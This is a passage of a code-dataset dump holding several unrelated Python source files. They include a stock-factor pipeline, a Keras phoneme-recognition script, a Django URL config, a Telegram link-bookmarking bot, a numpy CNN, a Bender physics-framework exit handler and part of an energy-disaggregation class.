'dispersion_20d')\n\n\tpipeline.add(SimpleMovingAverage(inputs=[MarketDispersion(mask=universe)], window_length=120), 'dispersion_120d')\n\n\tpipeline.add(MarketVolatility(window_length=20), 'market_vol_20d')\n\n\tpipeline.add(MarketVolatility(window_length=120), 'market_vol_120d')\n\n\t# Target\n\t# Let's try to predict the go forward 1-week return. When doing this, it's important to quantize the target. The factor we create is the trailing 5-day return\n\n\tpipeline.add(Returns(window_length=5, mask=universe).quantiles(2), 'return_5d')\n\n\tpipeline.add(Returns(window_length=5, mask=universe).quantiles(25), 'return_5d_p')\n\n\t# Running the Pipeline\n\n\tall_factors = engine.run_pipeline(pipeline, start_date, end_date)\n\n\t# Computing Date Features\n\n\tall_factors = compute_date_features(all_factors, start_date, end_date)\n\n\t# One Hot Encoding Sectors\n\n\tall_factors = one_hot_encode_sectors(all_factors)\n\n\t# Shifted Target For Training The Model\n\n\tall_factors['target'] = all_factors.groupby(level=1)['return_5d'].shift(-5)\n\n\treturn all_factors\n","sub_path":"scripts/factors_pipeline.py","file_name":"factors_pipeline.py","file_ext":"py","file_size_in_byte":9947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"467509714","text":"import pandas as pd\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.models import model_from_json\nfrom keras.layers import Dense, Activation, GRU, TimeDistributed, Conv1D, MaxPooling1D, MaxPooling2D, Flatten, Dropout, SimpleRNN, Bidirectional, Convolution2D, Permute, BatchNormalization, RepeatVector, Input, MaxPool2D \nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom keras import optimizers\nfrom keras import backend as K\nfrom keras import initializers\nfrom keras import utils \nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing.text import Tokenizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import LabelBinarizer\nimport pickle\nimport sys\nK.set_image_dim_ordering(\"th\") \nK.set_image_data_format(\"channels_last\")\n\ndata_directory = sys.argv[1]\noutput_fileName = sys.argv[2]\n\nfile_48_39 = open(data_directory+\"phones/48_39.map\")\nfile_39_phone = open(data_directory+\"48phone_char.map\")\n\nmap_48_39 = {}\nfor line in file_48_39:\n mapping = line.split(\"\\t\")\n map_48_39[mapping[0]] = mapping[1][:-1] \n\nmap_39_phone = {}\nfor line in file_39_phone:\n mapping = line.split(\"\\t\")\n map_39_phone[mapping[0]] = mapping[2][:-1] \n\ny_tokens = []\nfor k,v in map_48_39.items():\n y_tokens.append(map_39_phone[v])\ny_tokens = list(sorted(set(y_tokens))) \n\n\nmap_phone_index = {}\nfor i, token in zip(range(len(y_tokens)),y_tokens):\n map_phone_index[token] = i+1\n\nMAX_SEQ = 777\nscaler = StandardScaler()\n\nX_test_file = open(data_directory+\"mfcc/test.ark\")\n\nX_test_df = pd.DataFrame(columns=[\"Id\",\"Feature\"])\nIds = []\nFeatures = []\nfor line in X_test_file:\n split = line.split(\" \")\n features = []\n for feats in split[1:]:\n features.append(feats)\n features[-1] = features[-1][:-1]\n Features.append(np.asarray(features,dtype=float))\n Ids.append(split[0])\nX_test_df[\"Id\"] = Ids\nX_test_df[\"Feature\"] = Features\n\nX_test_df_concat = pd.DataFrame(columns=[\"Id\",\"Feature\"])\nExist_id = {}\nIds = []\nfor i in list(X_test_df[\"Id\"]):\n Id = i[:i.rfind(\"_\")] \n if Id not in Exist_id:\n Ids.append(Id)\n Exist_id[Id] = 1\nX_test_df_concat[\"Id\"] = Ids\nX_test_df_concat[\"Feature\"] = \"\"\n\nX_test_df_concat = X_test_df_concat.set_index(\"Id\")\n\nfor i, feat in zip(list(X_test_df[\"Id\"]),list(X_test_df[\"Feature\"])) :\n Id = i[:i.rfind(\"_\")]\n row = X_test_df_concat.loc[Id]\n if row[\"Feature\"] == \"\":\n row[\"Feature\"] = feat\n else :\n row[\"Feature\"] = np.column_stack((row[\"Feature\"],feat))\n\nX_test = list(X_test_df_concat['Feature'])\nfor i in range(len(X_test)):\n shape = X_test[i].shape[1]\n zeros = np.zeros((MAX_SEQ-shape,39))\n X_test[i] = scaler.fit_transform(X_test[i].transpose())\n X_test[i] = np.row_stack((X_test[i],zeros))\n \nX_test = np.asarray(X_test,dtype=float)\n\njson_file = open('best_rnn1.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel = model_from_json(loaded_model_json)\n\nmodel.load_weights(\"best_rnn1.hdf5\")\n\njson_file = open('best_rnn2.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel2 = model_from_json(loaded_model_json)\n\nmodel2.load_weights(\"best_rnn2.hdf5\")\n\njson_file = open('LSTM.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel3 = model_from_json(loaded_model_json)\n\nmodel3.load_weights(\"LSTM.hdf5\")\n\nfinal = np.zeros((592,777,1))\nresult = model.predict(X_test)\nresult2 = model2.predict(X_test)\nresult3 = model3.predict(X_test)\nfor i in range(len(result2)):\n for k in range(len(result2[i])):\n final[i][k] = np.argmax((result[i][k] + result2[i][k] + result3[i][k]) / 3)\n\noutput = []\nfor i in final:\n string = \"0\"\n for j in i:\n for k,v in map_phone_index.items():\n if j == v:\n string += k\n string = string[1:]\n output.append(string)\n\ntesting = []\nfor i in output:\n test = \"0\"\n for idx in range(len(i)):\n if idx != 0 and idx != len(i)-1:\n if (i[idx] != i[idx-1]) and (i[idx] == i[idx+1]):\n test += i[idx]\n testing.append(test[1:-1])\n\nX_test_df_concat = X_test_df_concat.reset_index(level=['Id'])\n\noutput_file = open(output_fileName,'w')\noutput_file.write(\"id,phone_sequence\\n\")\nfor i, j in zip(list(X_test_df_concat[\"Id\"]),testing):\n output_file.write(i+\",\"+j+\"\\n\")\noutput_file.close()\n\n","sub_path":"hw1/run_rnn.py","file_name":"run_rnn.py","file_ext":"py","file_size_in_byte":4378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"235408990","text":"from django.conf.urls.defaults import patterns, include, url\nfrom manager.views import *\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\nimport settings\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^static/(?P.*)$', 'django.views.static.serve', {'document_root': settings.STATIC_ROOT}),\n url(r'^$', 'manager.views.home'),\n url(r'^user_admin', 'manager.views.user_admin'),\n url(r'^login/$', 'manager.views.matrixlogin'),\n url(r'^logout', 'manager.views.matrixlogout'),\n url(r'^signup', 'manager.views.signup'),\n url(r'^admin_home', 'manager.views.admin_home'),\n url(r'^workspace', 'manager.views.workspace'),\n # url(r'^$', 'clusterManager.views.home', name='home'),\n # url(r'^clusterManager/', include('clusterManager.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"628152436","text":"# -*- coding: utf-8 -*-\n\nimport re\n\nfrom telegram import MessageEntity\nfrom telegram import ReplyKeyboardMarkup\nfrom telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, RegexHandler,\n ConversationHandler)\nimport logging\nimport datetime\nfrom pytz import timezone\nfrom pymongo import MongoClient\n\nmongodb_uri = 'mongodb://localhost:27017/' # on prod change to mongodb://mongo:27017/\n#mongodb_uri = 'mongodb://mongo:27017/' # on prod change to\nmongo_client = MongoClient(mongodb_uri)\ndb = mongo_client.bot\n\nurl_pattern = re.compile(\"^(http|ftp|https)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?\")\nhashtag_patern = re.compile(\"(#[A-z,0-9,-,А-я]+)\")\n\nimport config\n\nBOT_TOKEN = config.api_token\n\nmy_timezone = 'Australia/Melbourne'\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n#function to parse input\ndef parse_link(input_string, search_pattern):\n response = [False, []]\n parsed = re.findall(search_pattern, input_string)\n if len(parsed) == 0:\n return response\n else:\n return [True, parsed]\n\n# returns current timestamp\ndef tmstmp(return_type = \"timestamp\", time_zone=my_timezone):\n res = datetime.datetime.now(timezone(time_zone))\n if return_type == \"yesterday\":\n res = res-datetime.timedelta(days=1)\n return res\n\n# error handler\ndef error(bot, update, error):\n logger.warn('Update \"%s\" caused error \"%s\"' % (update, error))\n\n#start handler\ndef start(bot,update):\n rpl = \"\"\"\n Hi! I'm bookmarx bot. Send me link and I'll store it for you.\\n\n for example: send me \\nhttps://news.ycombinator.com/news #news\\n\n and I will store the link which you can later find using command /find\n \"\"\"\n update.message.reply_text(rpl)\n\ndef show_example(bot,update):\n rpl = \"\"\"\n Please send links in following format: http://link.com #mylink.\\n\n Hashtags are optional. Link should start with either http:// or https://\\n\n https://news.ycombinator.com/news #news\\n\n \"\"\"\n update.message.reply_text(rpl)\n\ndef unwrap_results(list_input, dict_item):\n out = []\n for i in list_input:\n out.extend(i[dict_item])\n return out\n\n\ndef show_hashtags(bot, update):\n hashtags = list(db.links.find({'user_id':update.message.from_user.id\n ,'chat_id':update.message.chat_id\n , \"hashtags.0\" : {'$exists':True}}\n , {'_id':0,'hashtags':1}))\n hashtag_set = set(unwrap_results(hashtags, 'hashtags'))\n message_out = \"\"\n for hs in hashtag_set:\n message_out += ' {} '.format(hs)\n update.message.reply_text(message_out)\n\n\ndef link_processing(bot, update):\n collection_name = 'links'\n parsed_url = parse_link(update.message.text, url_pattern)\n parsed_hashtags = parse_link(update.message.text, hashtag_patern)\n if parsed_url[0]:\n link = '{}://{}{}'.format(parsed_url[1][0][0],parsed_url[1][0][1],parsed_url[1][0][2])\n domain = parsed_url[1][0][1]\n db.get_collection(collection_name).insert(\n {'user_id':update.message.from_user.id,'chat_id':update.message.chat_id\n ,'language_code': update.message.from_user.language_code\n ,'link':link, 'domain':domain, 'hashtags': parsed_hashtags[1]\n ,'archived': 0, 'created_dttm':tmstmp(), 'updated_dttm':tmstmp()})\n update.message.reply_text(\"link added\")\n else:\n update.message.reply_text(\"no proper format provided. To see example type /examlple\")\n\ndef main():\n # Create the Updater and pass it your bot's token.\n updater = Updater(BOT_TOKEN)\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n start_handler = CommandHandler('start', start)\n dp.add_handler(start_handler)\n\n example_handler = CommandHandler('example', show_example)\n dp.add_handler(example_handler)\n\n show_hst_handler = CommandHandler('hashtags', show_hashtags)\n dp.add_handler(show_hst_handler)\n\n link_handler = MessageHandler(\n Filters.text & (Filters.entity(MessageEntity.URL) |\n Filters.entity(MessageEntity.TEXT_LINK)), link_processing)\n\n\n dp.add_handler(link_handler)\n\n dp.add_error_handler(error)\n updater.start_polling()\n updater.idle()\n\nif __name__ == '__main__':\n main()\n","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"97880972","text":"import numpy as np\r\nfrom scipy import signal\r\nimport math\r\nimport skimage.measure\r\nimport copy\r\nfrom PIL import Image\r\nimport os\r\n\r\ndef loadimage(nom):\r\n im = Image.open(nom).convert('L')\r\n return (np.array(im).flatten() / 255)\r\n\r\nPERSISTANCE = 0.05\r\n\r\npathCroix = 'DATAIN\\\\CROIX\\\\'\r\npathRond = 'DATAIN\\\\ROND\\\\'\r\n\r\nimgCROIX = []\r\nimgROND = []\r\n\r\nfor _, _, f in os.walk(pathCroix):\r\n for issou in f:\r\n imgCROIX.append(np.reshape(loadimage(pathCroix + issou), (10, 10)))\r\n\r\nfor _, _, f in os.walk(pathRond):\r\n for issou in f:\r\n imgROND.append(np.reshape(loadimage(pathRond + issou), (10, 10)))\r\n\r\nDATAIN = imgCROIX + imgROND\r\nEXPECT = np.concatenate((np.full(len(imgCROIX), [1, 0], dtype = '2f'), np.full(len(imgROND), [0, 1], dtype = '2f')))\r\n\r\ndef reLu(x):\r\n return np.maximum(x, 0, x)\r\n\r\ndef sigmoid(x):\r\n try:\r\n ans = 1 / (1 + np.exp(-x))\r\n except OverflowError:\r\n ans = 0.5\r\n print('Overflow !!!!!!!')\r\n return ans\r\n\r\nclass inputLayer:\r\n def __init__(self, nom, tailleIn):\r\n self.data = np.zeros((tailleIn, tailleIn))\r\n self.name = nom\r\n\r\n def inputData(self, data):\r\n self.data = data\r\n\r\nclass convolutionLayer:\r\n def __init__(self, nom, tailleIn, tailleNoyau, nbFiltres): #tailleIn est la taille de l'image étudiée, tailleNoyau celle du noyau\r\n self.nom = nom\r\n self.nbFiltres = nbFiltres\r\n self.tailleIn = tailleIn\r\n self.tailleNoyau = tailleNoyau\r\n self.data = np.zeros((nbFiltres, tailleIn - tailleNoyau + 1, tailleIn - tailleNoyau + 1), dtype = 'float')\r\n self.filtres = np.random.rand(nbFiltres, tailleNoyau, tailleNoyau) * 2 - 1\r\n\r\n def propagate(self, dataIn):\r\n \"\"\"Remplit le data de la couche en faisant les convolutions sur dataIn.\"\"\"\r\n for i in range(self.nbFiltres):\r\n self.data[i] = reLu(signal.convolve(dataIn, self.filtres[i], mode = 'valid'))\r\n\r\n def backPropagate(self, dH, W, nbFiltres, DELTA, DATA):\r\n global PERSISTANCE\r\n \"\"\"dH est le gradient des couches en aval, déjà calculé.\"\"\"\r\n dX = np.zeros((self.tailleIn, self.tailleIn))\r\n dF = np.zeros((self.nbFiltres, self.tailleNoyau, self.tailleNoyau))\r\n temp = np.rot90(np.rot90(dH))\r\n nbFiltres, X, Y = dH.shape\r\n for i in range(self.nbFiltres):\r\n for x in range(X):\r\n for y in range(Y):\r\n dX[x:x + self.tailleNoyau, y:y + self.tailleNoyau] += self.filtres[i] * temp[i, x, y]\r\n dF[i] += DATA[x:x + self.tailleNoyau, y:y + self.tailleNoyau] * temp[i, x, y]\r\n self.filtres[i] -= PERSISTANCE * dF[i] * (self.filtres[i])\r\n return (0, 0, 0, DELTA)\r\n\r\n\r\n\r\nclass poolLayer:\r\n def __init__(self, nom, tailleIn, tailleNoyau = 2, mode = 'max'):\r\n self.nom = nom\r\n self.tailleIn = tailleIn\r\n self.mode = mode\r\n self.tailleNoyau = tailleNoyau\r\n self.data = None\r\n\r\n def propagate(self, data):\r\n \"\"\"Propage sur la couche de pool, ie. fait un downsampling.\"\"\"\r\n liste = []\r\n for dat in data:\r\n if self.mode == 'max':\r\n liste.append(skimage.measure.block_reduce(dat, (self.tailleNoyau, self.tailleNoyau), np.max))\r\n elif mode == 'meam':\r\n liste.append(skimage.measure.block_reduce(dat, (self.tailleNoyau, self.tailleNoyau), np.mean))\r\n elif mode == 'sum':\r\n liste.append(skimage.measure.block_reduce(dat, (self.tailleNoyau, self.tailleNoyau), np.sum))\r\n self.data = np.array(liste)\r\n\r\n def backPropagate(self, dH, W, nbFiltres, DELTA, DATA):\r\n dW = np.zeros((dH.shape[0] * self.tailleNoyau, dH.shape[1] * self.tailleNoyau, dH.shape[2] * self.tailleNoyau))\r\n for i in range(nbFiltres):\r\n for x in range(dW.shape[1]):\r\n for y in range(dW.shape[2]):\r\n dW[x, y] = dH[i, x // self.tailleNoyau, y // self.tailleNoyau]\r\n return dW, W, nbFiltres, DELTA\r\n\r\nclass fullyConnected:\r\n def __init__(self, nom, tailleIn, taille, type = 'hidden'):\r\n \"\"\"taille est la taille de la couche, tailleIn celle de la couche précédente.\"\"\"\r\n \"\"\"type peut être 'hidden', 'junction' ou 'output'.\"\"\"\r\n self.nom = nom\r\n self.tailleIn = tailleIn\r\n self.taille = taille\r\n self.weights = np.random.rand(self.taille, self.tailleIn) * 2 - 1 #Les poids sont ceux pour venir à la matrice!\r\n self.data = np.zeros(self.taille)\r\n self.type = type\r\n\r\n def propagate(self, data):\r\n if self.type == 'junction':\r\n self.data = np.ndarray.flatten(data)\r\n else:\r\n self.data = sigmoid(np.dot(data, self.weights.T))\r\n\r\n def outputData(self):\r\n return self.data\r\n\r\n def backPropagate(self, dH, W, nbFiltres, DELTA, DATA):\r\n \"\"\"W est la matrice de poids associés au passage à la couche suivante.\"\"\"\r\n global PERSISTANCE\r\n if self.type == 'junction':\r\n dX = np.array(self.tailleIn)\r\n dW = np.array(W.shape)\r\n der = np.expand_dims(self.data, 0) * (1 - np.expand_dims(self.data, 0))\r\n dW = np.dot(dH, W) * der\r\n tailleAvant = int(np.sqrt(self.tailleIn // nbFiltres))\r\n return (np.reshape(dW, (nbFiltres, tailleAvant, tailleAvant)), W, nbFiltres, DELTA)\r\n else:\r\n dX = np.array(self.tailleIn)\r\n dW = np.array(W.shape)\r\n der = np.expand_dims(self.data, 0) * (1 - np.expand_dims(self.data, 0))\r\n dW = np.dot(dH, W) * der\r\n #self.weights -= PERSISTANCE * np.dot(self.data, dW)\r\n DELTA.append(np.dot(self.data, dW.T))\r\n return(dW, self.weights, nbFiltres, DELTA)\r\n\r\nclass network:\r\n def __init__(self, nom, layers):\r\n self.nom = nom\r\n self.layers = layers\r\n self.layersNumber = len(layers)\r\n self.epochs = 0 #Le nombre de cycles de retropropagation deja faits\r\n\r\n def propagateLayers(self):\r\n for i in range(1, self.layersNumber):\r\n self.layers[i].propagate(self.layers[i - 1].data)\r\n\r\n def inputData(self, data):\r\n self.layers[0].inputData(data)\r\n\r\n def outputData(self):\r\n return self.layers[self.layersNumber - 1].data\r\n\r\n def lossOne(self, data, expect):\r\n self.inputData(data)\r\n self.propagateLayers()\r\n resultat = self.outputData()\r\n ret = 0\r\n for i in range(len(expect)):\r\n ret += (expect[i] - resultat[i]) ** 2\r\n return ret\r\n\r\n def lossAll(self, DATAIN, EXPECT):\r\n loss = 0\r\n for i in range(len(DATAIN)):\r\n loss += self.lossOne(DATAIN[i], EXPECT[i])\r\n return loss\r\n\r\n def train(self, DATAIN, EXPECT, number):\r\n for j in range(number):\r\n print(j)\r\n print(self.lossAll(DATAIN, EXPECT))\r\n for i in range(len(DATAIN)):\r\n self.inputData(DATAIN[i])\r\n self.propagateLayers()\r\n self.backPropagateLayers(EXPECT[i], DATAIN[i])\r\n self.epochs += 1\r\n\r\n def backPropagateLayers(self, expect, DATAIN):\r\n global PERSISTANCE\r\n i = self.layersNumber - 1\r\n data = self.layers[i].data\r\n diff = data - expect\r\n dH = diff * np.expand_dims(data, 0) * (1 - np.expand_dims(data, 0))\r\n W = self.layers[i].weights\r\n nbFiltres = self.layers[1].nbFiltres\r\n DELTA = []\r\n for i in reversed(range(1, self.layersNumber - 1)):\r\n dH, W, nbFiltres, DELTA = self.layers[i].backPropagate(dH, W, nbFiltres, DELTA, DATAIN)\r\n\r\n #Application sur les fullyConnected\r\n for i in range(len(DELTA)):\r\n self.layers[self.layersNumber - i - 1].weights -= PERSISTANCE * np.dot(np.expand_dims(self.layers[self.layersNumber - i - 2].data, axis = 0).T, np.expand_dims(DELTA[i], axis = 0)).T\r\n\r\n\r\ninput = inputLayer('input', 10)\r\nconv = convolutionLayer('conv', 10, 3, 16)\r\npo = poolLayer('po', 8)\r\ntrans = fullyConnected('trans', 256, 256, type = 'junction')\r\nf2 = fullyConnected('f2', 256, 64)\r\nf25 = fullyConnected('f25', 64, 16)\r\nf3 = fullyConnected('f3', 16, 2, type = 'output')\r\nnet = network('net', [input, conv, po, trans, f2, f25, f3])\r\n","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":8286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"102080696","text":"#!/usr/bin/env python \n# =============================================================================\n## @file Benedr/Fixes.py\n# The helper Python module for Bender application \n#\n# This file is a part of \n# Bender project\n# ``Python-based Interactive Environment for Smart and Friendly \n# Physics Analysis''\n#\n# The package has been designed with the kind help from\n# Pere MATO and Andrey TSAREGORODTSEV. \n# And it is based on the \n# LoKi project:\n# ``C++ ToolKit for Smart and Friendly Physics Analysis''\n#\n# By usage of this code one clearly states the disagreement \n# with the smear campaign of Dr.O.Callot et al.: \n# ``No Vanya's lines are allowed in LHCb/Gaudi software.''\n# \n# @date 2004-07-11\n# @author Vanya BELYAEV ibelyaev@physics.syr.edu\n#\n# $Revision$\n# Last modification $Date$\n# by $Author$ \n# =============================================================================\n\"\"\"Apply some last-moment (version-dependent) fixes\n\noooooooooo. .o8 \n`888' `Y8b \\\"888 \n 888 888 .ooooo. ooo. .oo. .oooo888 .ooooo. oooo d8b \n 888oooo888' d88' `88b `888P\\\"Y88b d88' `888 d88' `88b `888\\\"\\\"8P \n 888 `88b 888ooo888 888 888 888 888 888ooo888 888 \n 888 .88P 888 .o 888 888 888 888 888 .o 888 \no888bood8P' `Y8bod8P' o888o o888o `Y8bod88P\\\" `Y8bod8P' d888b \n\nThis file is a part of BENDER project:\n``Python-based Interactive Environment for Smart and Friendly Physics Analysis''\n\nThe project has been designed with the kind help from\nPere MATO and Andrey TSAREGORODTSEV. \n\nAnd it is based on the \nLoKi project: ``C++ ToolKit for Smart and Friendly Physics Analysis''\n\nBy usage of this code one clearly states the disagreement \nwith the smear campaign of Dr.O.Callot et al.: \n``No Vanya's lines are allowed in LHCb/Gaudi software.''\n\n\"\"\"\n# =============================================================================\n__author__ = 'Vanya BELYAEV ibelyaev@physics.syr.edu'\n__date__ = \"2004-07-11\"\n__version__ = '$Revision$'\n__all__ = ()\n# =============================================================================\n## logging\n# =============================================================================\nfrom Bender.Logger import getLogger \nlogger = getLogger(__name__)\n# =============================================================================\nif '__main__' == __name__ : logger = getLogger ( 'Bender.Fixes' )\nelse : logger = getLogger ( __name__ )\n# =============================================================================\n#\n# =============================================================================\n## \"at-exit action \ndef _bender_at_exit_ () :\n \"\"\"\n At-Exit action\n \"\"\"\n from Bender.Logger import getLogger \n if '__main__' == __name__ : logger = getLogger ( 'Bender.Fixes' )\n else : logger = getLogger ( __name__ )\n \n logger.debug ( '*'*120 ) \n logger.debug ( 'custom \"atexit\" handler is being invoked' ) \n logger.debug ( '*'*120 ) \n \n from GaudiPython.Bindings import _gaudi\n rc = None \n if _gaudi :\n\n if hasattr ( _gaudi , 'GaudiPythonAlgos' ) :\n _algos = _gaudi.GaudiPythonAlgos\n while _algos :\n _a = _algos.pop(0)\n del _a\n logger.debug ( \"Clear list of 'GaudiPythonAlgos'\" )\n\n logger.debug ( 'AppMgr.exit() is being invoked' )\n rc = _gaudi.ReturnCode \n _gaudi.exit ()\n\n logger.debug ( '*'*120 ) \n logger.debug ( 'custom \"atexit\" handler has been invoked' ) \n logger.debug ( '*'*120 )\n\n if rc :\n\n \"\"\" \n const int Success = 0x00;\n const int GenericFailure = 0x01;\n /// @defgroup loop_stop Loop termination\n /// Error codes for abnormal loop termination.\n /// @{\n const int FailInput = 0x02; //< Error opening file\n const int AlgorithmFailure = 0x03; //<\n const int ScheduledStop = 0x04; //< Loop terminated because of user request\n const int IncidentFailure = 0x05; //< Fatal error in Incident handling\n const int UnhandledException = 0x06; //<\n const int CorruptedInput = 0x10; //< Input file showed a corruption\n /// @}\n /// @{\n /// Error codes for operation failures.\n const int FinalizationFailure = 0x0b;\n /// @}\n const int SignalOffset = 0x80; //< Offset for signal-related return codes\n \"\"\"\n \n nc = '0x%x' % rc \n if 0x00 == rc : nc = 'Success'\n elif 0x01 == rc : nc = 'GenericFailure'\n elif 0x02 == rc : nc = 'FailInput'\n elif 0x03 == rc : nc = 'AlgorithmFailure'\n elif 0x04 == rc : nc = 'ScheduledStop'\n elif 0x05 == rc : nc = 'IncidentFailure'\n elif 0x06 == rc : nc = 'UnhandledException'\n elif 0x10 == rc : nc = 'CorruptedInput'\n elif 0x0b == rc : nc = 'FinalizationFailure'\n \n logger.info ( 'Call sys.exit (\"%s\")' % nc )\n import sys \n sys.exit ( rc ) \n\nimport atexit\natexit.register( _bender_at_exit_ )\nlogger.debug ( 'add custom \"atexit\" handler' ) \n\n\n\n# =============================================================================\n## Other fixes:\n# =============================================================================\nimport Bender.Fixes_Gaudi\nimport Bender.Fixes_LoKi\n\n# =============================================================================\nif __name__ == '__main__' :\n\n logger.info ( 80*'*' ) \n logger.info ( __doc__ ) \n logger.info ( ' Author : %s ' % __author__ ) \n logger.info ( ' Version : %s ' % __version__ ) \n logger.info ( ' Date : %s ' % __date__ ) \n logger.info ( ' Symbols : %s ' % list ( __all__ ) ) \n logger.info ( 80*'*' ) \n \n# =============================================================================\n# The END \n# =============================================================================\n","sub_path":"Bender/Phys/Bender/python/Bender/Fixes.py","file_name":"Fixes.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"573770025","text":"#To Do Baranski:\n# -Build the Events \n# -- Muss ich noch ausbauen, dass nicht nur die States sondern auch die Transitions mit zusatzinfos gespeichert werden (Laenge, Step)\n# -- Dafuer baue ich eine eigene Unterfunktion\n# -Print the Events im 3d Raum \n# -Clustering \n# --Hier nehme ich KMeans, muss eben aus der Dokumentation raus lesen wie hoeherdimensionale Daten ausgelesen werden\n# --Auch GMM mal probieren. -> Das austesten wie viele Schritte es gibt wird interessant \n# Ggf kann man dann noch eine Restgruppe festlegen und das muessen dann die ueberlagerten sein.\n# --Ggf ist Ward Clustering eine wesentlich bessere Idee (Insbesondere auch Moeglichkeit Connectivity Matrix zu setzen)\n#\n# -Print Events mit Clustering\n\n# -Die FHMMs bilden \n# -- abschreiben aus Matlab\n\n# -Die Ablaeufe bilden\n# -- abschreiben aus Matlab\n\n\n# Das Events raus rechnen baue ich am Besten in den Training Step. Wie Preprocessing. \n# => Obwohl das natuerlich nur einen einzelnen Datensatz Sinn macht\n\n# Kommentare zu Vgl mit sklearn:\n# 1. kwargs ist dort eher verboten (siehe BaseEstimator Doku)\n# 2. Es gibt eine Score Funktion \n# Die ist in dem Beispiel in NilmTK nur von aussen ergaenzt ueber diese Predict Hilfsfunktion\n# In sklearn in Mixins beschrieben. Aber in Doku falsch wuerde ich sagen, dass ALLE estimators score() haben.\n\n\n\n# General packages\nfrom __future__ import print_function, division\nfrom collections import OrderedDict, deque\nimport numpy as np\nimport pickle\nimport os\nimport sys\nfrom itertools import product\n\n# Packages for data handling and machine learning \nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn_pandas import DataFrameMapper\nimport sklearn.preprocessing, sklearn.decomposition, sklearn.linear_model, sklearn.pipeline, sklearn.metrics\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.cluster import KMeans, AgglomerativeClustering\nimport sklearn.metrics\n\n# Packages from nilmtk\nfrom nilmtk.disaggregate import UnsupervisedDisaggregator\nfrom nilmtk.feature_detectors.cluster import hart85_means_shift_cluster\nfrom nilmtk.feature_detectors.steady_states import find_steady_states_transients\n\n# Fix the seed for repeatability of experiments\nSEED = 42\nnp.random.seed(SEED)\n\n\n\n\nclass CustomBaranski(UnsupervisedDisaggregator):\n \"\"\" Customized Baranski Algorithm.\n Allows multiple states per machine and additionally supports \n multiple states.\n\n Erweiterungen die in NILM Eval unterschlagen wurden:\n 1. Die hochfrequenten events werden zusammen genommen (Das stand ja auch schon im Paper Seite 2)\n 2. Die Erweiterung ist dann eben, dass man komplexe Events mit beruecksichtigt. Siehe das Nachfolgepaper.\n \n Probleme denen ich mich direkt stellen kann, die in Matlab auch nicht geloest wurden:\n 1. Ueber die Zeit koennen sich die Anlagen veraendern -> Wenn ich alles betrachte ist mir das ja im Prinzip egal. \n -> Das ist mir ja im Prinzip egal!\n 2. Grosse Datenmengen: Es ist mit Problemen ueber mehrere Jahre 3 phasig zu rechnen.\n -> Der Featurespace ist DEUTLICH kleiner\n -> Ansaetze wiederholende Pattern zu erkennen\n => Komplexitaet Suchalgorithmus\n Datenstruktur: Alle Events in eine Reihe schreiben, \n\n Attributes\n ----------\n model : dict\n Mal noch nichts. \n \"\"\"\n\n #region All disaggregator functions which are not used at the moment \n\n def export_model(self, filename):\n raise NotImplementedError(\"Muss ich ggf noch mal von den anderen Klassen herkopieren.\")\n\n\n def import_model(self, filename):\n raise NotImplementedError(\"Muss ich ggf noch mal von den anderen Klassen herkopieren.\")\n\n #endregion\n\n\n \n #region Used disaggregator functions\n\n def __init__(self):\n self.MODEL_NAME = \"BARANSKI\"\n self.cols = [(\"power\", \"active\")]\n self.noise_level = 70\n self.state_threshold = 15\n self.max_num_clusters = 12 # from matlab project\n\n \n def train(self, metergroup, **load_kwargs):\n \"\"\" Gets a site meter and trains the model based on it. \n Goes chunkwise through the dataset and returns the events.\n In the end does a clustering for identifying the events.\n For signature description see basic class: It should get a sitemeter for unsupervised learning.\n\n Parameters\n ----------\n metergroup : a nilmtk.MeterGroup object\n For custom baranski (is unsupervised), this is a single site meter.\n \"\"\"\n \n # Go through all parts and extract events\n events = []\n # 1. Get Events (Das ist ja schon vorhanden) -> Das sollte ich ausbauen -> GetSignatures\n # -> man separiert in die verschiedenen moeglichen Signaturen\n # --> Einen Separator als Oberklasse, Dann mehrere Separatoren fuer die einzelnen Typen an Effekt \n # -Rising Spike: \n # -Rising Spike: \n # -Pulse\n # -Fluctuation\n # -Quick Vibrate\n # -Gradual Falling\n # -Flatt\n # --> Man arbeitet mit Verdeckung: Event, verdeckt wenn RaisingSpike, FallingSpike, verdeckt wenn Pulse\n #\n # --> Jede Signatur hat eigene spezielle Eigenschaften\n # --> Einige sollten eine Wildcard beinhalten\n # Ich will hier ein 3d Pandas aufbauen\n #events = self._load_if_available()\n #if not events is None:\n # self.events = events\n # 